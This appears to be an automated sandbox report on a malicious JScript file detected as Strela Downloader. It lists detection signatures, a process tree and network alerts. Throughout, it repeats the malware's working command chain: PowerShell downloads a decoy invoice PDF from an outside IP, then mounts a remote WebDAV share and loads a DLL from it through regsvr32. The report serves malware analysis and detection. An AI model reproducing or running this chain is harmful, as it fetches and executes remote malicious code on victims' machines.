Edit tour

Windows Analysis Report
32474162872806629906.js

Overview

General Information

Sample name:	32474162872806629906.js
Analysis ID:	1587708
MD5:	2bf5db09b9fec2e24fc58424999e1c14
SHA1:	e266c6f45f17746c020c3b5d1507f48623cad740
SHA256:	bbf08c0c60a585923a5ca5937c85937f60601a1726030812bfb2da6470bdbcd6
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7696 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7752 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7804 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7972 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4212 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5764 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1628,i,820544111018087942,12403917839327423551,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8012 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8096 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7028 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7696	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7752, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7804, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7752, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7804, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js", ProcessId: 7696, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8096, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49768

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, ProcessId: 7752, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, ProcessId: 7752, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, ProcessId: 7752, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, ProcessId: 7752, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, ProcessId: 7752, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js", ProcessId: 7696, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7752, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7804, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8012, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8096, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7028, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8012, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8096, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll, ProcessId: 7752, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:13:12.416214+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49768	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:13:09.748831+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49752	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 32474162872806629906.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 32474162872806629906.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49768 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:13:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49768

Source: global traffic

TCP traffic: 192.168.2.9:49768 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49752 -> 193.143.1.205:80

Source: global traffic

